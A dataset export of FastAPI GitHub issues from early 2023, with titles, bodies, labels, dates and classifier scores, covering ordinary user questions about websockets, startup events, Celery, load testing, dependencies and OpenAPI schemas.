The reason code and text seem to be unavailable for the client. The only way to get them is to have websocket client written in python, import starlette's WebSocketDisconnect and catch the exception manually. 

When making calls from other clients, e.g. from Postman, the code and reason are just not available. It would be nice if the server returned cod... [TRUNCATED]","question,reviewed,question-migrate",2023-01-24 16:43:50+00:00,2023-02-24 16:30:32+00:00,1,"question,reviewed,question-migrate",30.9908,websocketexception reason is not visible to the client first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the reason code and text seem to be unavailable for the client the only way to get them is to have websocket client written in python import starlette s websocketdisconnect and catch the exception manually when making calls from other clients e g from postman the code and reason are just not available it would be nice if the server returned cod truncated,help,0.9468
tiangolo/fastapi,1555272555,TypeError: Starlette.on_event() missing 1 required positional argument: 'event_type',"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from config.database import engine, SQLModel, create_db_and_tables

app = FastAPI

@app.on_event('startup')
async def on_startup():
    create_db_and_tables()
```


### Description

When executing the uvicorn main:app --reload command, it returns me in the shell error:

TypeError: Starlette.on_event() missing 1 required positional argument: 'event_type'

It seems to be a problem with starlette but I'm not sure

### Operating System

Linux

### Operating System Details

Ubuntu 22.04

### FastAPI Version

fastapi 0.89.1

### Python Version

3.10.6

### Additional Context

_No response_","question,question-migrate",2023-01-24 16:17:18+00:00,2023-02-27 19:07:50+00:00,3,"question,question-migrate",34.1184,typeerror starlette on event missing required positional argument event type first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when executing the uvicorn main app reload command it returns me in the shell error typeerror starlette on event missing required positional argument event type it seems to be a problem with starlette but i m not sure linux details ubuntu fastapi version fastapi python version no response,bug,-0.8173
tiangolo/fastapi,1554575914,"FastAPI/Uvicorn crashes every day around the same time, different APIs, different providers","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()


@app.get(""/"", response_class=HTMLResponse)
async def read_item(request: Request, pac_id: str = None, _oauth2_proxy: str = Cookie(default="""")):  
   pass
```


### Description

Three different FastAPI's are crashing every day around the same time (different times per API), running Dockerized on Kubernetes with Uvicorn.

It is not DDOS or anything, as the APIs are using Basic Auth and are behind an nginx proxy which handles authentication.

It is not DB dependent, as one uses MongoDB, one PostgreSQL, one no DB.

Providers are Hetzner, AWS and Advin (Frankfurt, Nürnberg, Amsterdam)

The docker conta... [TRUNCATED]","question,question-migrate",2023-01-24 09:02:34+00:00,2023-02-27 19:07:44+00:00,15,"question,question-migrate",34.4203,fastapi uvicorn crashes every day around the same time different apis different providers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description three different fastapi s are crashing every day around the same time different times per api running dockerized on kubernetes with uvicorn it is not ddos or anything as the apis are using basic auth and are behind an nginx proxy which handles authentication it is not db dependent as one uses mongodb one postgresql one no db providers are hetzner aws and advin frankfurt n rnberg amsterdam the docker conta truncated,bug,0.872
tiangolo/fastapi,1551905411,Unable to upload an image by a celery task in fastapi,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
##app.py
@app.post(""/upload3"")
async def upload(file: UploadFile = File(...),):
    
    result=tasks.create_image.delay(file)
    url=result.get()
    return {""message"":""ok""}

##tasks.py
@shared_task
async def create_image(file:_fastapi.UploadFile):
    
    urlFile = cloudinary.uploader.upload(file.file)
    url = urlFile.get(""url"")    

    return url
```


### Description

It throws an error as Object of type UploadFile is not JSON serializable


### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0 

### Python Version

3.8.10

### Additional Context

_No response_","question,question-migrate",2023-01-21 20:32:35+00:00,2023-02-27 19:07:40+00:00,5,"question,question-migrate",36.941,unable to upload an image by a celery task in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description it throws an error as object of type uploadfile is not json serializable linux details no response fastapi version python version no response,help,0.4767
tiangolo/fastapi,1551808323,Relationship fails with ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class OccupyReasonBase(BaseModel):
    group_id: Optional[int] = None
    tenant_id: Optional[int] = None
    other: Optional[str] = None


class OccupyReasonCreate(OccupyReasonBase):
    pass


class OccupyReasonUpdate(BaseModel):
    group_id: Optional[int] = None
    tenant_id: Optional[int] = None
    other: Optional[str] = None


class OccupyReason(OccupyReasonBase):
    id: int

    class Config:
        orm_mode = True


class EventBase(BaseModel):
    start: int
    end: int
    repeat: str
    occupy_reason: OccupyReason
    hall_id: int
    title: Optional[str] = """"
    comment: Optional[str] ... [TRUNCATED]","question,question-migrate",2023-01-21 13:59:56+00:00,2023-02-24 16:30:29+00:00,3,"question,question-migrate",34.1045,relationship fails with first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class occupyreasonbase basemodel group id optional int none tenant id optional int none other optional str none class occupyreasoncreate occupyreasonbase pass class occupyreasonupdate basemodel group id optional int none tenant id optional int none other optional str none class occupyreason occupyreasonbase id int class config orm mode true class eventbase basemodel start int end int repeat str occupy reason occupyreason hall id int title optional str comment optional str truncated,help,0.9382
tiangolo/fastapi,1551788717,Load testing - FastAPI much slower than Flask?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from uuid import uuid4

import uvicorn
from fastapi import FastAPI
from time import sleep
import os
from loguru import logger

app = FastAPI()


@app.get(""/health"")
def health():
    return ""Ok""


@app.get(""/load"")
async def run_load_test():
    request_id = str(uuid4())
    logger.info(f""Starting request {request_id}"")
    sleep(2)
    logger.info(f""Finished request {request_id}"")
    return ""Ok""


if __name__ == ""__main__"":
    port = int(os.environ.get('PORT', 6000))
    uvicorn.run(""main:app"", host=""0.0.0.0"", port=port, log_level=""debug"")
```


### Description

First of all, huge fan, big thanks ... [TRUNCATED]","question,question-migrate",2023-01-21 12:34:16+00:00,2023-02-27 19:07:38+00:00,2,"question,question-migrate",37.2732,load testing fastapi much slower than flask first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description first of all huge fan big thanks truncated,help,0.97
tiangolo/fastapi,1551310365,depends routers by True/False function,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from pydantic import BaseModel
from fastapi import FastAPI

app = FastAPI()

def permission(token):
    username = token['username']
    group = 'test'
    apirequest = ""calling api check if user exists in group""
    if apirequest:
        return True
    else:
        return False

@app.get(""/"")
def read_root():
    return {""Hello"": ""World""}
```


### Description

hello,
i have a function that check if user exists in AD-Group by getting the username from token.
if user exist in group the answer will be True else False.
i want to create a depends on routers that will running only if answer is - True

Can you help me please 
than... [TRUNCATED]","question,question-migrate",2023-01-20 18:59:43+00:00,2023-02-27 19:07:35+00:00,2,"question,question-migrate",38.0055,depends routers by true false function first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello i have a function that check if user exists in ad group by getting the username from token if user exist in group the answer will be true else false i want to create a depends on routers that will running only if answer is true can you help me please than truncated,help,0.9843
tiangolo/fastapi,1550514571,How to document default error models for all other status codes than those mentioned separately,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

I want something like the below, where I can set a response model for all the other http status codes
```python
@app.get(""/items/{item_id}"", responses={200: {""model"": mySuccessResponseModel}, Any: {""model"": myErrorResponseModel}})
async def read_item(item_id: str):

```


### Description

I want to set a single response model for all other status codes other than those mentioned separatly. The reason why I want is, so that my swagger doc will have the below format. 

      responses:
        '200':
          description: Success
          content:
            application/json:
              schema:
                $ref: '#/co... [TRUNCATED]","question,question-migrate",2023-01-20 09:03:45+00:00,2023-02-24 16:30:27+00:00,1,"question,question-migrate",35.3102,how to document default error models for all other status codes than those mentioned separately first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code i want something like the below where i can set a response model for all the other http status codes description i want to set a single response model for all other status codes other than those mentioned separatly the reason why i want is so that my swagger doc will have the below format responses description success content application json schema ref co truncated,bug,0.9696
tiangolo/fastapi,1538396914,links created by url_for in Jinja2 template use HTTP instead of HTTPS,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
main.py

from fastapi import FastAPI, Request, Form
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates

from db import database
from helpers.middleware import get_user_notifications, set_custom_attr
from models.users import users
from routes import api_router
from sessions.core.base import redis_cache

app = FastAPI()

app.mount(""/static"", StaticFiles(directory=""static""), name=""static"")
templates = Jinja2Templates(directory=""templates"")

views.py

@router.get('/', response_class=HTMLResponse)
async def main_page(request: Request,
                    user: User = Depends(UserService.get_auth... [TRUNCATED]","question,question-migrate",2023-01-18 17:32:26+00:00,2023-02-24 16:30:24+00:00,4,"question,question-migrate",36.9569,links created by url for in jinja template use http instead of https first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python main py from fastapi import fastapi request form from fastapi staticfiles import staticfiles from fastapi templating import jinja templates from db import database from helpers middleware import get user notifications set custom attr from models users import users from routes import api router from sessions core base import redis cache app fastapi app mount static staticfiles directory static name static templates jinja templates directory templates views py router get response class htmlresponse async def main page request request user user depends userservice get auth truncated,help,0.9418
tiangolo/fastapi,1537686051,docs: clarify partial update exclude_unset,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# This is the diff of the PR I propose

-That would generate a `dict` with only the data that was set when creating the `item` model, excluding default values.
+Normally, the `dict` generated from the model contains values that are both set explicitly from supplied values (when the model was created),
+as well as values that were *not* supplied, but have default values defined in the model.

-Then you can use this to generate a `dict` with only the data that was set (sent in the request), omitting default values:
+You can use the `exclude_unset` parameter to suppress generation of fields that were *not* explicitly set when cr... [TRUNCATED]","question,question-migrate",2023-01-18 09:39:31+00:00,2023-02-24 16:30:21+00:00,0,"question,question-migrate",37.2853,docs clarify partial update exclude unset first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python this is the diff of the pr i propose that would generate a with only the data that was set when creating the model excluding default values normally the generated from the model contains values that are both set explicitly from supplied values when the model was created as well as values that were not supplied but have default values defined in the model then you can use this to generate a with only the data that was set sent in the request omitting default values you can use the parameter to suppress generation of fields that were not explicitly set when cr truncated,documentation,0.9909
tiangolo/fastapi,1537260788,Type hints for `Security`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def valid_token(                                                                        
    scopes: SecurityScopes,                                                             
    access_token: str = Depends(access_token_scheme),                                   
) -> Token:
    ...
    return Token(...)

@router.patch(""/users/{username}"")                                                                                   
async def some_endpoint(                                                          
    data: Data,                                                     
    token = Security(valid_token, scopes=[""some-sc... [TRUNCATED]","feature,question,reviewed,question-migrate",2023-01-18 01:27:24+00:00,2023-02-24 16:30:20+00:00,0,"feature,question,reviewed,question-migrate",37.627,type hints for first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python def valid token scopes securityscopes access token str depends access token scheme token return token router patch users username async def some endpoint data data token security valid token scopes some sc truncated,feature,0.9413
tiangolo/fastapi,1536413375,"Why does ""int | None"" transforms into openapi non-nullable integer?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    id: int | None


@app.post(""/items/"")
async def create_item() -> Item:
    return Item(id=1)
```


### Description

- Open the generated openapi.json spec
- Found that `id` field is ""required"" with type ""integer""
- Expects to found `id` field ""required"" with type ""integer"" and ""optional"" parameter

I know that you can add `nullable=True` to Field definition, but for me `int | None` looks monosemantic unlike `int | None = None` which can describe non-required openapi field with default value in python.

### Operating System

Other

... [TRUNCATED]","question,question-migrate",2023-01-17 13:50:16+00:00,2023-02-27 19:07:32+00:00,2,"question,question-migrate",41.2203,why does int none transforms into openapi non nullable integer first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description open the generated openapi json spec found that field is required with type integer expects to found field required with type integer and optional parameter i know that you can add to field definition but for me looks monosemantic unlike which can describe non required openapi field with default value in python other truncated,help,0.9413
tiangolo/fastapi,1536173241,why my last_query option not work when i'm not give q(query parameter)?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Cookie, Depends, FastAPI
import uvicorn

app = FastAPI()

def query_extractor(q: str = None):
    return q

def query_or_cookie_extractor(q: str=Depends(query_extractor), last_query: str=Cookie(default=None)):
    print(""Q: "", q)
    print(""last_query: "", last_query)

    if not q:
        return last_query
    return q

@app.get(""/items/"")
async def read_query(query: str = Depends(query_or_cookie_extractor)):
    return {
        ""query"": query
    }

if __name__ == ""__main__"":
    uvicorn.run(app, host=""0.0.0.0"", port=int(os.getenv(""9000"")))
```


### Description

In fast api documentation say if query par... [TRUNCATED]","question,question-migrate",2023-01-17 10:52:21+00:00,2023-02-24 16:30:17+00:00,3,"question,question-migrate",38.2347,why my last query option not work when i m not give q query parameter first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description in fast api documentation say if query par truncated,help,0.9493
tiangolo/fastapi,1535940572,Route dependency is running not in the same thread ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def configure_database(user_arn: str | None = Header(default=None)):
    database = get_database(user_arn)

    with database.bind_ctx(_BaseModel.subclasses()):
        try:
            database.connect()
            print('deps', user_arn, threading.get_ident())
            yield database
        finally:
            if not database.is_closed():
                database.close()

@router.get('/db_username')
def get_db_username(user_arn: str | None = Header(default=None), db=Depends(configure_database)):
    print('api', user_arn, threading.get_ident())
    current_db_user = db.execute_sql('SELECT current_user;').fetchone()[0]
    retu... [TRUNCATED]","question,question-migrate",2023-01-17 08:03:27+00:00,2023-02-24 16:30:14+00:00,3,"question,question-migrate",38.3519,route dependency is running not in the same thread first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python def configure database user arn str none header default none database get database user arn with database bind ctx basemodel subclasses try database connect print deps user arn threading get ident yield database finally if not database is closed database close router get db username def get db username user arn str none header default none db depends configure database print api user arn threading get ident current db user db execute sql select current user fetchone retu truncated,help,0.9136
tiangolo/fastapi,1535086228,Best practice for initializing a longlived client at startup that requires context manager,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# This is how I would have done it if I did not require a context manager 
from fastapi import FastAPI

import aioboto3
from settings import get_settings

settings = get_settings()

# Create App
app = FastAPI()

# Init the boto client on start up
# Based on https://github.com/tiangolo/fastapi/issues/4035#issuecomment-941293227
@app.on_event(""startup"")
async def init_client() -> None:
    """"""
    Initialize the boto client 
    """"""
    boto_connection = AIOBoto3Client(<params>)
    app.dependency_overrides[AIOBoto3Client] = lambda: boto_connection

# Class to contain client 
class AIOBoto3Client:
    """"""Class responsible for ini... [TRUNCATED]","question,question-migrate",2023-01-16 15:06:21+00:00,2023-02-24 16:30:12+00:00,1,"question,question-migrate",39.0582,best practice for initializing a longlived client at startup that requires context manager first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python this is how i would have done it if i did not require a context manager from fastapi import fastapi import aioboto from settings import get settings settings get settings create app app fastapi init the boto client on start up based on app on event startup async def init client none initialize the boto client boto connection aioboto client app dependency overrides aioboto client lambda boto connection class to contain client class aioboto client class responsible for ini truncated,help,0.9633
tiangolo/fastapi,1534439187,ReDoc - how to remove field name in brackets from parameter type?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class CustomerTracking(Entity):
    customer_ip_address: str = Field(example=""XXX.XXX.XXX.XXX"")
    customer_user_agent: str = Field(example=""Chrome"")
```


### Description

I need to remove field names in brackets from parameter types.
For example: my model has string field `customer_ip_address` and i want to see type `string` in the ReDoc documentation, not `string (Customer Ip Address)`
Is there any setting to do this?

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.10.6

### Additional Context

![image](https://user-images.githubusercontent.com/31480109/212621790-03... [TRUNCATED]","question,question-migrate",2023-01-16 07:33:47+00:00,2023-02-24 16:30:10+00:00,0,"question,question-migrate",39.3725,redoc how to remove field name in brackets from parameter type first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i need to remove field names in brackets from parameter types for example my model has string field and i want to see type in the redoc documentation not is there any setting to do this linux details no response fastapi version python version image truncated,documentation,0.8847
tiangolo/fastapi,1534413421,"Strange exception, saying that error in response model's types, but referencing request model","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# Request model
from typing import Optional
from pydantic import BaseModel


class EditProductRequestBody(BaseModel):
    marketId: int
    name: Optional[str]
    price: Optional[str]
